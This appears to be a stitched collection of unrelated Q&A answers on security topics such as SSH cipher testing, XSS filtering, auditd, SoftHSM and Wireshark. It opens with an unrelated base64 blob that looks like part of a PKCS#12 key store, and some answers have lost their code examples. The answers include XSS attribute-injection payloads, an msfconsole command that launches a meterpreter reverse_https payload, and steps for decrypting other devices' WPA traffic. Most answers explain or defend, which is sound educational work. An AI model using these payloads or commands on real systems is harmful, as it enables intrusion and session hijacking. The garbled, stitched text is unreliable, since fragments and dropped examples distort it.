99Fx6/cQixa8Qmmio3s8JzhFP6q2fTHYi8XyRuItDK7XSIdEhtFTIK8OUWI7Keo0
M3TYB4XlkSrsyK0U5j75tyvDc3nohFxzFWJe6Rf4N7uG5LRZduS4K5UZoSPXfCkC
yJeKEzIBt4e3XgYjiEvNpkcroG2r6hdDO3N19cqhq6ZYy9L2f8uZc8NATJZswO6t
CeS1lsc2AH2ZWyKUFzCeDSxRuOxdzN0En9aty9kTENkm34LD1QfJSyjrs5Y0Byxj
ExLNl0dscmQFpA3SK5FL1wMvxJ64D2gA857kLyOk/m9VQp8LJ7I+oTaMQtlHRto/
Ku8Jy/6vatl+jS9+OR3UOG+H1VN8e0SVVuqA0cpU6hrsa5ap15vAEwRKrZIK4typ
7ZRFZ4jviGJp/wB8wlPySvL3UiXizNNATihDOJiUZxP4BVyAtBJgz6o6rtjTjcEU
dIpN1Q9OsD46X5LD6qD2psJEo3WyRwAHfc/BnBrGaezsX1RKLgfR32o7ef/5QOwB
0KMqnnvNBXE6PFdGQho0bf+Fn2pM1s0RPivdAVuqkaAgEKsjUWEqetnGwt2rBEuU
EQdUc8zEc4jylZZIANd6u8KXc7Fqraa8hV8jqRHceeji8l6w6YzQ82UhDccOTW3Q
6+yrMmmhyR4VW9/D9RBunlnpG9kK4XLttcu//ZnvHT8goT5HziSUrK5PWv/5xR04
bVLjEQbXNdsl5UCag5+VEruUJefWr9Y0ZC7CEyJixqtZr6O7tJfZ493Y6iC8Mo9C
7NPDi82oJA/A+pgnUVY2pj8jCF1QtEQJdHnX0bw11wrirER6Y0l9iFuwVQFxGHZ+
WvJLojE+MBkGCSqGSIb3DQEJFDEMHgoAbQB5AGsAZQB5MCEGCSqGSIb3DQEJFTEU
BBJUaW1lIDE1ODgwNTE0NTIxNjQwggJbBgkqhkiG9w0BBwagggJMMIICSAIBADCC
AkEGCSqGSIb3DQEHATAoBgoqhkiG9w0BDAEGMBoEFA6JgB8Yl8lWqq9q4lLFsju4
z/qiAgIEAICCAghCSOz2Ky7AUMiDzJKCLHEorDXhiSN+E6/mebeZbifFXp8NHpam
e3UwPIwqaDk7N3AwE7TVzvglht2jTEJvin4PGqewdoQ8g+WWjKG3ynsmoH1ejRuJ
MSqC9TVLfoUUFzvwmi1Ju0uP0+15JTx5hKVY0LANNsOuVO2Y5uOrMotKjE7PkXp/
CdXmG3sW3eJCmmVRq++RHfB1dL57QveHtze+UdArN71sFEkP+Rdl+rAyLePyleyP
5im7B6GwCShuk5/m5P4MdQDhv56rN8Y3tmNY8xjT4Ka7VPCBtilNd4rIHbIPvxa4
fKlTzNWd+ejK1eD4aO9fhntNhdCsTk8Iw2bdhvJ1v2WnS2az0c8atnSrvKxrZkbc
MccqQRNCtD8EHdUmmwP8pXK2oZKU8BnDFkxTWAKf+68v91tY8EHe5N6qxySgWBi5
kBnW41nDYxUhzFSCggUM04oYe5E+wq0QSVQ1jEvtjtBAbwQRkxTzOQX20ivWEGM0
RF4IWqVeXFQlTePGAZBoX0IW+0r7MlB23nmqufEZ+geAsSAypkVlT/1SeMmAHhje
GSSjO1ky3PGk5tE3c+qBNc1rGJv0Z4D07bWNevUhqGInQzrhiCXvRdvL/n9NjWWD
ja7DMXRyS08c1zkxAZy90PecUQI/B3f7yCubNiU0bFbEGDFZHRfcPjCfhsuCypy8
mguMMD0wITAJBgUrDgMCGgUABBQgDu58G+qclCVipEhL46upNrwnogQUdK25NXkz
gkVa/200kVt7Svcg1F8CAgQA


What is safer to use (in general terms), online banking software using the mobile app or using a browser on a desktop OS?

This is a very open ended question, as it depends on what bank, what OS, and potentially even what hardware.

Some banks are vigorous about the login process and password recovery, others put more value in convenience.

Some smartphone manufacturers are diligent about distributing security updates, but others are very careless and/or have spread themselves too thinly with too many models to maintain.

Some operating systems have a lot more malware "in the wild" and are more prone to user error, others are more locked down by default, and have more thorough checking within official software sources.

Some hardware was manufactured with vulnerabilities, such as with the rowhammer exploit that was discovered to work on smartphones, recently.

There's no binary answer; either could be insecure, depending on the context. It's best to avoid falling into a false sense of security by giving a one-size-fits-all answer. You need to carefully review the security of the routine you're using, and increase it where there are vulnerabilities.


Virus - by-pass with binairies repackaging

File hashes are by far not the most helpful method of detecting malware (unlike a couple of decades ago). Today, malware recognition (and sometimes classification) is heavily based on real-time heuristical analysis of its operations. This analysis deals with lots of data, which mostly consists of the system calls performed by the application, and their order. The system calls are tracked via a technique called hooking.

Of course, other things are taken into account. For example, most malware authors out there fail dramatically with their packers and cryptors, making it obvious that a file was, well, packed/crypted. And some just use well-known packers/cryptors that generate files which are easily recognized by antiviruses.


SSH ciphers, MAC and key-exchange (and pen-tests thereof)

Unfortunately the standards bodies don't fully agree on a single list of ciphers for SSL/TLS or SSH security. The following document and it's internal references will help a lot and I would think that in general owasp.org would be a great place to keep up with weak ciphers but unfortunately there is no one universal list at this time.

https://www.owasp.org/index.php/Transport_Layer_Protection_Cheat_Sheet

For SSH hardening specifically look at the following:

https://stribika.github.io/2015/01/04/secure-secure-shell.html

Ultimately an up to date list mapping the cipher supported with a reason why each one was depreciated would be useful for everyone but I haven't seen such an effort yet.
The best way to know what your end users are using is to monitor actual traffic to your site. You can either enable cipher suite logging on your SFTP server or webserver or simply use a protocol analyzer like WireShark, tshark specifically, for this.

https://www.wireshark.org/

Generally you will find that limiting cipher suites is actually easy because most clients from the last 5-10 years support a wide range of ciphers.
To test this I highly recommend using the nmap ssl enumerate ciphers .NSE script or for SSH the SSH2 enumerate algorithms script:

https://nmap.org/nsedoc/scripts/ssl-enum-ciphers.html

The command to test a website will look similar to the following:

nmap --script ssl-enum-ciphers -p 443 www.website.org

There are similar scripts for other protocols, for SSH the following would work

https://nmap.org/nsedoc/scripts/ssh2-enum-algos.html

This information can be gathered from the debug2 information in the ssh -vvv option but nmap is far easier to automate.

For externally testing websites there are sites like the following which will tell you information about depreciated SSL/TLS ciphers on HTTPS based services.

https://www.ssllabs.com/ssltest/

At this time there are no "Qualys like test websites that match their SSL test website for SSH" the closest way to get similar information for SSH is to use ssh -vvv option or use the nmap NSE script ssh2-enum-algos.html. There are other solutions to this but nmap is probably the easiest to implement and it's very scriptable so you could have it test a huge number of IP's easily.


Can auditd track events that occured over NFS

Much like recursion, in order to understand auditd you must first understand auditd. Auditd is the front-end to a kernel module that intercepts/monitors system calls and reports on them. That is to say, the -w option doesn't continuously perform an ls, md5sum, or similar on the target, it instructs the kernel module to report on attempts to perform file access calls, such as open() or creat(), on the target. Translating this information back to your question, this means that auditd can't detect changes being made by remote hosts in this way. Those system calls are occurring on the remote system.

To do the kind of monitoring you want you'll need to configure auditd on the remote hosts to monitor the nfs mount locally. What you should do then is log all the hosts running auditd to a central log host, using something like audisp-remote. Then the logs can be more easily searched and correlated.


What makes SoftHSM more security than other software solutions such as OpenSSL?

SoftHSM does not do the same functions as OpenSSL. People aren’t “choosing” SoftHSM over OpenSSL, as they do different things.

Note that SoftHSM can be linked with the OpenSSL libraries to implement the cryptography internally, meaning that at best its overall security can be no better than that of the OpenSSL libraries themselves.

SoftHSM is also not more secure than an actual Hardware Security Module (HSM). Any keys stored in it are visible in some way to the host computer. By contrast, an actual HSM is designed with physical security in mind, and it will not allow a key to be exported or exposed. For example, an HSM is equipped with tamper-detection circuitry such that it will destroy any keys it contains rather than allowing someone to open the case and sniff out the keys with a logic probe.

Any differences you are seeing in use between using SoftHSM and a true HSM are almost certainly due to cost. SoftHSM is an open source implementation of a PKCS#11 service, and costs virtually nothing to test with and use. A true PKCS#11 commercial HSM can cost many thousands of dollars, and have even more costs for licensing, support contracts, installation, etc.

If you need to test a piece of software against a PKCS#11 server, SoftHSM is a cheap way to accomplish your task. OpenSSL doesn’t offer a PKCS#11 interface, so it’s not like they can use it as a substitute. But never think that SoftHSM is as secure as an HSM.


Is it possible to implement secure ssl pinning implementation for without server side validation?

No, there is no  secure solution. All the mentioned tools that bypass SSL certificate pinning depending on root access.

If the phone is rooted/jailbroken there is no way for an app to enforce anything. As your application is only a piece of software running on that system, the person who owns the system (and that is the user on jailbroken/rooted devices) can always bypass your security mechanisms. The only thing you can do is to make the live of the person who wants to disable SSL certificate pinning harder. One way is to use a jailbreak/root detection and block jailbroken/rooted devices.


RK Hunter Warns about /usr/lib/apache2/mpm-event/apache2 uses deleted files, how to further investigate the matter and how shall I treat it?

This does not come from the scripts you have used (tuxlite). Although it is a bad practice, you can frequently find linux processes using deleted files (Apache in your case). RKhunter doesn't like that too much, as basically those files are invisible to other processes and this could be seen as malicious behaviour.

However, in your case and given that this is a clean box you just installed, I would consider this as a false positive and if needed you can add a whitelist rule in your RKhunter configuration, or even disable the deleted file module completely.

If you want to further investigate it, here are a couple things you can do:

lsof | grep /run/apache2/ssl_mutex

will give you the process ID and the file number. Then you can go and check for the file descriptor:

cd /proc/[PROCESS_ID]/fd
ls -Filah [FILE_NUMBER]

You can use usual commands to play with this file (read it, write to it). Also,

tail [FILE NUMBER]

will show you what is written into that file.

In any case, don't try to remove it because the process is still using it.


Using mutual authentication, should I still worry about message integrity and replay attack?

As SSL ensures that the communication channel is secure from both tampering and snooping, there is no need to do more to ensure message replay and integrity.

This assumes that you are doing a secure authentication by validating the client cert, making sure it hasn't been revoked and isn't expired, is matched to the correct user, etc...


You can't. It sounds like they are protecting against XSS properly.

HTML entities (&quot;, &gt;, &lt;, etc.) are not interpreted as HTML and turning "dangerous" characters into entities is one of the ideal ways to protect against XSS.


Generate Subject Key Identifier by hand using openssl command sequence

From http://certificateerror.blogspot.se/2011/02/how-to-validate-subject-key-identifier.html.
Extract SKI from cert:
#!/bin/bash
openssl x509  -noout -in $1 -pubkey  | openssl asn1parse  -strparse 19 -noout -out - | openssl dgst -c -sha1

Extract SKI from key:
#!/bin/bash
openssl rsa -in $1  -pubout | openssl asn1parse -strparse 19 -noout -out - | openssl dgst -c -sha1

openssl x509 -pubout extracts a public key from an x509 document.
openssl asn1parse decodes an ASN.1 object and performs any chosen operations on it.
-strparse 19 skips the first 19 bytes, a magic number. Typically the public keys is in PKCS#1 format. So for an RSA public key of 2048 bits it starts with 4 bytes of SEQUENCE, 2 bytes of SEQUENCE, 11 bytes to store the OID 1.2.840.113549.1.1.1 meaning rsaEncryption, 2 bytes for a NULL terminator on the sequence. That is 19 bytes, which starts the BIT STRING data structure and continues to the end of the data.
openssl dgst produces the digest of the input using the chosen output format and digest algorithm


Retrieved files were corrupted after file carving

Carved files are almost always going to be at least partially incomplete or corrupted. The purpose of carving is to give you a place to start for manual analysis. You should not expect it to fully retrieve all the files in such a complete form that they can be viewed properly in an image viewer.


Shoul I consider  as dangerous mixed passive content?

Should I consider <a href></a> as dangerous mixed passive content?

While this is not considered mixed content (since it is not embedded into the page), it can of course still be dangerous: with a plain HTTP link an attacker could hijack the request or response and provide different content. And usually there is an expectation by the user that an offered link will not lead to some dangerous content (unless it is clearly dangerous based on the context). Thus, it is best to offer the links only as HTTPS.


What criteria do you use for evaluating Client-Side / Endpoint security products?

1) Footprint.  We already run a number of things on the client so we want them to be as lean as possible.  Where possible we stick with the same vendor since they are more likely to combine agents and lower the overall footprint.

2) Dependencies.  The more we install on the client the more we have to juggle when things upgrade or delay upgrades.  A common thing is to see if this requires a specific version of Java or .Net.

3) Management of the software.  Can it tie into anything we already own for management?  Does it integrate with other systems for layered security?  Or is it just another silo?

We are big proponents of having as few vendors as possible and helping them refine their products over time to meet our needs.  In the end I think these things help everyone.  The end users get something that works well and is unobtrusive; the help desk gets something that doesn't break as often, the IT analyst gets something that integrates with what they already know and Management gets a generally less expensive product since we usually get bulk license discounts (for owning a lot of software from that same vendor).

Sometimes we get software that doesn't do everything we want, but we are okay with that if the vendor is honest and willing to implement the other features.  It's not uncommon for our IT shop to be told something can't be done by the vendor that built a product, then prove them wrong.  Because of that we don't expect most off the shelf software to do everything we can think up or plan to do with it; but if the vendor is willing to work with us we'll gladly be their pilot site.


Over-the-top (?) security practices for CVV inputs

All your suspicions are correct:

it is meant to defeat keyloggers
it is meant to defeat touchscreen fingerprints
it is meant to defeat mouse loggers (you can derive the number sequence from the relative position of the mouse when it clicks)
it will fail against loggers that take a screenshot when the mouse is clicked

Is it actually effective? Well, it depends on what the threat actually is. It is effective against the threats that it is effective against and weak against the threats it is not designed to defend against.
Which threat is more likely? That's not always easy to guess. I'm not sure that any are likely at all. Those are not the types of threats that are dominating right now.
But what this does do is to make it look like the site is "really secure" for implementing such an extreme measure.


How can I capture the packets of a LAN device in Wireshark?

If you are both using WiFi (with WPA based preshared key encryption), things are really dead simple (which wouldn't have been the case if you were on a wired network):

Launch Wireshark on your computer
Set WPA key in Wireshark's settings
Start the packet capture on your wireless interface (in Linux you should be putting your wireless device in Monitor mode to gather all packets)
Force the target device to reassociate with the AP (turn wifi off/on, turn AP off/on, etc)
Observe 4-way handshake with Wireshark (thanks to prev step)
Do whatever you want on your Android device to generate traffic
See your wireless traffic unencrypted in Wireshark
Enjoy!

With the WPA keys set in Wireshark, it will decrypt packets on-the-fly, allowing you to view your Android device's traffic.

Edited to include necessary step of decrypting WPA protected traffic, which is observing 4-way handshake


Why does Keybase sign hashes of previous proofs?

I see there are great comments already, but let me condense them and add the missing pieces:

Why hashing the previous proof into the current proof?

As already indicated by ISMSDEV, keybase is essentially building an append-only data structure, an immutable log. The idea is that by incorporating the previous proof, you not only sign the current statement but reassure your knowledge of the previous one, as well.

Why is such a chain a good thing?

Append-only data structures have some nice properties: The sequence is fixed and this is easy to prove and verify. Assume you have a chain like this:
A -> B
Where A is the first proof and B is a proof that incorporates the hash of A. If you now want to later add a proof X that "happened" between A and B, you can embed the hash of A to make it a successor. However, the forked chain now looks something like this:
X <- A -> B
If you would really want X to be part of the chain, you would need to create a new B' that incorporates the hash of X instead the one of A. This would look like this:
A->X->B'
Now the nice thing is that this will render the existing proof of B (the signature) wrong, since the signed content changed. Hence, people can detect this, because the head is now B' instead of B.
To make this more clear, if you have a long chain, such as:
A-> B -> ... -> Z, then you can verify no element of the whole chain ever changed by remembering only the current head of the chain. If at ANY point in the chain something is changed, all elements following would need to be recreated and the top element('s hash). So for a service that continuously publishes the chain and hence the head signature, you only need to remember this one and as soon as the chain changes (probably new elements were appended), you just need to verify everything from the head you already had and after that, remember the new one.
If you are interested in more details, Keybase explains some more details of their approach here.

About committing to the Bitcoin Blockchain...

Ok so what I explained above already holds without Bitcoin. But why now also push to the Bitcoin chain? Essentially, Bitcoin users/clients are continuously checking and verifying the Bitcoin chain to be an append-only log, a public, timestamped ledger. This gives us a public, sealed log of events that is secured by a large, global community. Now people started to exploit this by committing data, such as hashes, to the Blockchain in order to securely and irrevocably timestamp their data. The important part here is that in contrast to a sig chain that you as a service owner publish yourself, you cannot rewrite history. For you as a Keybase user, this means the following: If, at any point in time, the head hash available through the Keybase service and the one hashes into the Bitcoin Blockchain at that time diverge, you now something is fishy. The Keybase people call this "Be Honest or Get Caught". You cannot achieve this by posting to a web page only since it can change any time. The Bitcoin Blockchain however is (almost*) unchangeable.

(*) Of course, Bitcoin is not perfect as well, but the probability or attacks that achieve large-scale history rewriting are tiny (see 51% attack).

So what's the bit picture

The big picture is that companies like Keybase put a lot of effort into building crypto software that reduces the amount of trust you have to put into the creators/service owners to a minimum. Beside establishing transparency through open sourcing code, publishing the sig chains, hashes etc allows customers to even use the service if they do not trust it. The idea is that you as a service provider cannot cheat your customer.

Ok so that was a long answer, but I hope it will clear things up. I just felt that there is some context that needs to be mentioned when talking about such things.


XSS between tags when only  are encoded?

If you only filter for script tags, yes.

For example:

Or

Or an infinite number of other vectors.

You need to properly filter the entire contents when you write them out to the page, using whatever encoding function is appropriate for the output encoding (e.g. HTML, XML, JSON, etc.) and available in the language you're using.

Examples for various languages:

ASP.NET
PHP
Java

I also recommend reading the XSS Prevention Cheat Sheet.

EDIT: After your update, yes, this is still possible.

Imagine you filter < and >, but then put content in an attribute:

I can then use this payload:

" style="display: block; position: absolute; top: 0; left: 0; width: 9999px; height: 9999px; z-index: 9999" onmouseenter="alert(1)" foo="

This turns your span into a block element which fills the entire page, executing the onmouseenter event as soon as the user's mouse enters the page.

Ok, so you're still not convinced.

People have spent a LOT of time making XSS work in all sorts of simple filter-based environments. The number of tricks is astounding, getting into all sorts of madness like tricking the browser to misinterpret the page as having a different character encoding so that UTF-8 or other Unicode codepoints sent as input later get treated as distinct ASCII codepoints containing HTML-affecting characters like > or ".

As an example, let's say you're using UTF-8 as your character set on your server. I put the 㱁 character into your page, but then through various tricks (this is browser dependent and complicated, but can be achieved trivially if you've got a header-splitting bug on your server) trick your browser into assuming the encoding is simple ASCII. The UTF-8 codepoint for 㱁 is U+3C41, which when interpreted as ASCII is simply <A. Your browser sees this as the opening of a tag.

Example payload:

㱁 href="x" style="display: block; ..." onmouseenter="alert(1)"㸠foo

The huge number of pitfalls makes it impossible to handle yourself. You need a proper XSS filtering library which is encoding-aware to take these issues into account.


Authorizing an Android app to carry out operations on backend server

Process or verify the payment server-side. This works for paypal und afaik your server can see in-app purchases of a authorized app and specific user, too. Just dig into the documentation on PayPal, Google Play e.t.c


Malicious capabilities of Social Botnets

They can be used for large-scale spamming of links that may lead to advertising (best case scenario), phishing (most likely scenario) or worse : malware, and maybe use social engineering to convince the account's "friends" (the friends of the real owner of the account) to click on them or even download and install the malware.

That malware can then be used to build a real botnet of computers.

For the public opinion, I don't see what profit the authors of the "botnet" can get out of it. Spam can generate lots of advertising revenue, but just posting messages without any links and maybe getting a hashtag in the top tweets (in case of Twitter) won't give them much revenue (no links = no ads = no revenue).

Also, sending public messages isn't a good idea in my opinion since the account owner will quickly notice it, where as spamming the user's friends/followers via direct messages only can go undetected for a very long time depending on the user's level of inexperience (or stupidity as I prefer to call it).

It's very easy to spam a bunch of predefined messages on lots of accounts at the same time, that doesn't require any human intervention, but it's much harder to have actual conversations between the compromised accounts that will make sense and not be suspicious, and that'll require human intervention, and probably a lot of humans if we're talking about even a small botnet of "only" 1000 accounts (1k won't make a difference on a social network by the way, you'll need much more than that if you want to do real "damage").

And as mentioned above, the original owners of the accounts will quickly notice these public messages posted on their behalf and that'll thwart the entire operation, it'll only result in a big panic about the social network being hacked (even though only their accounts were compromised, but a person stupid enough to click on these links doesn't even know the difference).

By the way, I get a lot of these spams by direct messages on Twitter, they are links to sites that promise to give you followers and ask you to connect your account (with full read/write access) - your account will then be used to spam the same link again and again.


How to launch a Metasploit module with arguments in just one command

Thanks to Noob123 for the solution. Just enter in the terminal :

./msfconsole -q -x 'use evasion/windows/MyModule;set payload windows/meterpreter/reverse_https;set lhost 127.0.0.1;run'

According to the documentation ./msfconsole --help :

-q, --quiet                      Do not print the banner on startup
-x, --execute-command COMMAND    Execute the specified console commands (use ; for multiples)


Password security on lost or stolen smartphone

The answer to this question really depends on the phone in question. It may also depend upon when the passcode was created.

Most phones use the passcode for encrypting the data on a device (and of course decrypting when needed). With an iPhone, if you did not create a passcode originally and later decided to create 1 the data from prior to creating the passcode would remain in plain text on the device (unless the app maker encrypted the data themselves). Quite a bit of data on an iPhone is stored in sqlite databases which is essentially text files with a specific format.

With regards to the crackability of the passcode. Again this would depend upon the passcode. If you used the standard 4 number pin on an iPhone these are really quite trivial to brute force (a 6 digit number would be just as trivial). The difficulty in brute forcing a random password on the other hand would depend upon what characters were used and how long the password was.

There are other techniques that could be used. For example an indication on what is used for a password / passcode could be gained from fingerprints on the screen.

With the introduction of finger print technology on Android and Apple devices this also provides a different vector for gaining entry to the device. Taking a print of a users finger from a glass for example could give the person access (of course other work is necessary). Both Android and Apple devices were exploited fairly quickly when the finger print technology was introduced.

With regards to having access to the phone's memory without having the password. Yes this is certainly possible. Law enforcement do this quite regularly. A colleague of mine did his thesis on mobile security, he bought numerous phones off of eBay and used a device to connect to the phone. He was able to extract data from each without having access to the password.


Amazon keeps asking for login/cc info via unsecure page - DNS hijack?

Based on your details something is messing with the DNS settings and since it affects the whole network it is probably the router. Also the fact that the first DNS address in the router was something you did not set indicates an attack against the router.

  I used F-Secure's router checker and it shows everything as ok

I have no idea what the router check really does, but from a short look I would suggest that it looks up various random hosts inside the ismydnshijacked.com domain. The DNS server will probably check where these lookups come from. But if this is really all then an attacker could setup its own DNS server (and set your router to use it) which then resolves these domains using the public DNS servers of google. In this case everything will look fine because the DNS lookup came from a trusted DNS server.

Insofar I'm sure that this router checker could easily be tricked into believing that everything is fine and attackers are known to make sure that their attacks will not be detected by known security solutions.

  [EDIT] Used Google's DNS servers and reset the router -all is well now but I would still love to know what the heck has been going on.

Again this indicates an attack against your router. Based on your description the router is Asus RT-N66R  which just based from a google search has a bad history which contains several possible exploits. It looks like there were fixes done in 06/2015 to reduce the attack surface ("Enhanced the login authentication strength and fixed CSRF related issues.") but there is a firmware from 2015/11/06 which again makes fixes at these area ("Modified brute-force protection mechanism in router login page." and several buffer overflows fixed).

Thus I would suggest that your router is either not on the latest firmware since this was only released 2 weeks ago or that the device is still vulnerable even after the latest fixes. Given the problems the vendor had in the past this would not be that unexpected.


It depends.

hdparm -I asks the drive, that is the firmware in the drive will reply to this command. If you consider the drive itself innocent and only the data stored on the drive the problem then this command probably does not harm. But if you deal with a case where the firmware might be manipulated then this command might change information which would have been important for the forensic analysis.


Simple static HTML protects you for things such as sql injections and many common forms of hacking but it does not protect you from flaws in Apache or bad rights assignment to the Apache service user.  This is where rights escalation comes in if you can break Apache server itself.  That being said Apache is very mature so a current stable version will probably be pretty secure as long as you follow best practices with setting it up.

The other side to look for is the OS and making sure that is hardened as well, in other words static pages does not relieve you from due diligence with hardening the OS and application.  In the end Apache is just an application, just like Wordpress or any of these other Web based services, so you have to be aware.

Hope that helps


Where can I find statistics on security breaches?

Likely helpful:

Verizon's Data Breach Investigations Reports
Trustwave's Global Security Reports
Mandiant's M-Trends


Best practice for direct SQL connection from DB to specific IPs on Internet

In general, if you lock down the requesting IPs, the DB authentication requests will never hit the DB, so you won't have to worry about a DOS attack on the DB directly. With AWS specifically, you have the ability to take advantage of a VPC. This is sort of like a VPN but instead you could provide the 3rd parties with their own server endpoint inside of your private cloud. This way the public internet is completely bypassed. If you can't do that, you could consider building an interface (web service or api) for your 3rd party access, without giving them "keys to the castle". And if you can't do that, I don't see any issues with locking down the IPs.

I'd recommend changing the connection port too, even with the firewall in place.


Windows Defender, like nearly all antivirus/anti-malware software, runs with extremely privileged access and by default scans everything it can. That definitely includes Windows services, even those running as [LOCAL]SYSTEM (it would actually be somewhat weird to run a service as Administrator; Administrator is a user account, while SYSTEM is a service account. They have equivalent permissions, though.)

Defender also scans files that aren't being executed. That is, it would scan the binary when you either created (compiled) it, or when you moved it onto the system (by downloading, or copying from external storage, or whatever). It might be possible to safely pass the file scan but get caught by the executable scan, depending on the signatures it looks for in each case. It is even slightly possible that the reverse might be true, though that would be weird (and kind of pointless; if you can't pass the file scan you won't have the chance to execute).


How to determine level of security required for this kind of site?

There are no specific laws or regulations that apply to this application.  That being said,  if a vulnerability in your software allows an attacker to take money from another user,  or leak personal information then you can be sued for negligence.   In the U.S. you cannot revoke your customer's rights to sue you for negligence using a Terms of Service agreement.


Is possible for a vulnerability search engine to detect the ipv6 adresses?

Sort of. The IPv6 range is big. Really big. You just won't believe how vastly, hugely, mind-bogglingly big it is. I mean, you may think it's a long way down the road to the chemist, but that's just peanuts to space the IPv6 range. (with apologies to Douglas Adams)

There are 340,282,366,920,938,463,463,374,607,431,768,211,456 addresses in the IPv6 space. There are 4,294,967,296 addresses in the IPv4 space. A standard single user allocation of IPv6 addresses includes enough addresses for each user to run their own IPv4 space.

As a result, it becomes impractical to run full scans of the entire space. Assuming it took you 1 nanosecond to scan each address (or detect that it didn't exist), it would take you 10,790,283,070,806,013,952 millenia to scan the full range. Multiply by 1000 for the number of years.

However, most of the interesting ones are likely to be in predictable clumps. For example, a given company may choose to assign devices within their IPv4 size  range, in which case it would be possible to scan through that if you can find the appropriate prefix to look at - it might be published in a DNS record for a web or email server. It might be included in the headers of emails from the company. In those cases, you can scan and potentially get useful information.

The general idea with IPv6 was that end-users never need to look at it. They should be able to make a request for a specific device - "the lightbulb in the living room", say - and the local equivalent of a DNS server supplies the correct address. Currently, this isn't quite the case. However, if this did become the case, you'd better hope that the DNS equivalent systems are secure, else they'll publish all your device details to the world, and if any of them leak, you can bet someone will be trying to spot the data.


What are the OIDs (KU and EKU) necessary for Smart Card Authentication in Windows?

Many of the requirements are listed in this KB article
  http://support.microsoft.com/kb/281245

The smart card certificate has specific format requirements:

The CRL Distribution Point (CDP) location (where CRL is the Certification Revocation List) must be populated, online, and available.

For example:

CRL Distribution Point
Distribution Point Name:
Full Name: URL=http://server1.name.com/CertEnroll/caname.crl

Key Usage = Digital Signature

Basic Constraints [Subject Type=End Entity, Path Length Constraint=None] (Optional)

Enhanced Key Usage =

Client Authentication (1.3.6.1.5.5.7.3.2)
(The client authentication OID) is only required if a certificate is used for SSL authentication.)

Smart Card Logon (1.3.6.1.4.1.311.20.2.2)

Subject Alternative Name = Other Name: Principal Name= (UPN). For example:

UPN = user1@name.com

The UPN OtherName OID is : "1.3.6.1.4.1.311.20.2.3"

The UPN OtherName value: Must be ASN1-encoded UTF8 string

Subject = Distinguished name of user. This field is a mandatory extension, but the population of this field is optional.


Which Cryptography algorithm is used in WhatsApp end-to-end security?

WhatsApp partnered with Open Whisper Systems for the cryptographic portions of messaging. The process involves a variation of Off the Record (OTR), Perfect Forward Secrecy (PFS), and the Double Ratchet Algorithm (DRA).

Open Whisper Systems has blog posts on cryptographic ratcheting, and their Signal Protocol Integration for WhatsApp.


How do I properly bury a hard disk drive to keep it healthy?

for example, if my laptop is stolen and my house is exploded

I suggest that the initial test run involve renting a safe deposit box at a nearby bank to do your offsite backup storage in.  This is probably the best answer as well.

If you want to get fancy, get a larger safe deposit box and pack the HD in an anti-static bag, then in a small layer of protective foam or other material, then a small Pelican or Otterbox case, then more protective foam/etc, then a larger Pelican/Otterbox case, then in the safe deposit box.

As a bonus, you can actually have two or three drives in play.  One at your main location with regular backups, one at the bank safe deposit box (optional third "in transit" box so all your backups are never, ever in the same place), and then you can rotate your backups, keeping them fresh.

Or bury it on your own land, I suppose.  If you choose to try the burying insanity, be certain to call your local underground line finder first - your hitting a water pipe, gas main, telephone line, cable line, buried electric line, decayed old sewer line, and so on and so forth when you dig is often a MAJOR legal/liability blunder, expensive, and quite frankly dangerous or possibly disgusting.

  die from electromagnetic radiation

That's outside the scope of this answer, and won't be caused by stolen laptops or burned down/blown up houses - start by looking into Faraday Cages.  These can be nested in the previously mentioned Pelican/Otterbox scenario - research how to best do that.

P.S. Encrypt your backups, of course, in case the drive is stolen in transit to or from the bank (or your car is stolen, or someone digs up your hole).


Need some docs that say we shouldn't upper the string when saving it as a password

I also could not find any password storage policies that mention that passwords should not be upper-cased. But I also didn't find any guides which told me not to set every password to "password", not to remove all special characters, or not to shorten them to 4 characters. It's just obvious.

You should not change the password that the user supplied. This can lead to unreasonably weak passwords (without the users knowledge!), and to compatibility issues later on (the user will always type in their password the way they set it, so each login/verification mechanism needs to perform the password transformation on each login).

If you can't deal with some special characters, report this back to the user that submitted them, do not silently change the supplied password.


Is the encryption schema of public key algorithms generally known?

From applied cryptography:

  If I take a letter, lock it in a safe, hide the safe somewhere in New York, then
  tell you to read the letter, that’s not security. That’s obscurity. On the other
  hand, if I take a letter and lock it in a safe, and then give you the safe along
  with the design specifications of the safe and a hundred identical safes with
  their combinations so that you and the world’s best safecrackers can study the
  locking mechanism—and you still can’t open the safe and read the
  letter—that’s security.

PGP generally uses RSA to encrypt keys although others can be used.

RSA is comically simple:

encrypt: c = m^e mod(n).

decrypt: m = c^d mod(n).

where c = ciphertext, m = message , nd=private key, ne = public key

Then the message is further encrypted with a symmetric cipher. While this is generally AES, OpenPGP uses CAST


Emailing debit card details to a guesthouse

Ask your credit card provider for a one-time card number. Or get a new account with a low limit.

Put the credit card number (and maybe a short random string) in a plain text file. 7zip this file with AES encryption. Email the hotel with this file as an attachment. Phone them and tell them the password to decrypt the file.

(You might have to do a bit of "tech support" to help them out, but it's probably worth it)


Remmina RDP Certificate Fingerprint Changed

In my case, the previous certificate had expired, and the server generated a new one. I projected that this was the case based on the timing of the certificate change, compared to when the original certificate was created. I then verified that this was the case by accepting the new cert, logging in, and inspecting the certificate stored on the server, as well as server logs indicating these changes had taken place. The fingerprints matched.

As far as I can see, it would not be possible to verify this theory without accepting the new cert and logging in, unless you had another vector of access to the server, like a remote console (ssh, etc.) an ftp server, or perhaps a reverse shell.

If security is something you value in your connections to your RDP server, you should set the date of expiration on your certs manually, and/or put a reminder in your calendar.

If this had been a man-in-the-middle attack, and I had accepted the cert and logged in, the attacker would then have not only my login credentials, but also have full capturing ability for my session, and any future sessions in which I connect to the intercept server.

Of course, there is the slight chance that I have connected to an intercept server, and the attacker managed to either update the cert on my server between the time I logged-in, and the time I retrieved the server cert. Or perhaps the intercept server edited the graphic data being sent to my client RDP viewer, to match the fingerprint of the intercept server. Though I perceive these to be highly unlikely.


Database password encryption compromised

As a fundamental of security engineering/incident management, if your system is compromised, You must rebuild your system. Because now attacker has enough details about your system. Even if you change encryption key, algorithm, password he still be able to attack again. Because you don't know how he compromise  password.
If you change password or key, still he will be able to access it because i assume that you have no idea about attack. What you know is result.
Identify vulnerability and try to resolve that particular issue.
Therefore rebuilding your system is required with additional security controls. Don't try to achieve security by obscurity.


Can a hacker sniff others' network data over a wireless connection?

If an attacker has the password, then they could, for example, use Wireshark to decrypt the frames.

(Note, however, there's no need to have a WEP password since it is a completely broken security algorithm. WEP keys can be extracted from the encrypted traffic by merely capturing enough packets.  This usually only takes a few minutes.

Also, keep in mind that not all APs are built the same.  Some can direct the RF beam in a much more focused way. Therefore, although you may be connected to the same AP, you may not be able to see all of the other traffic.)


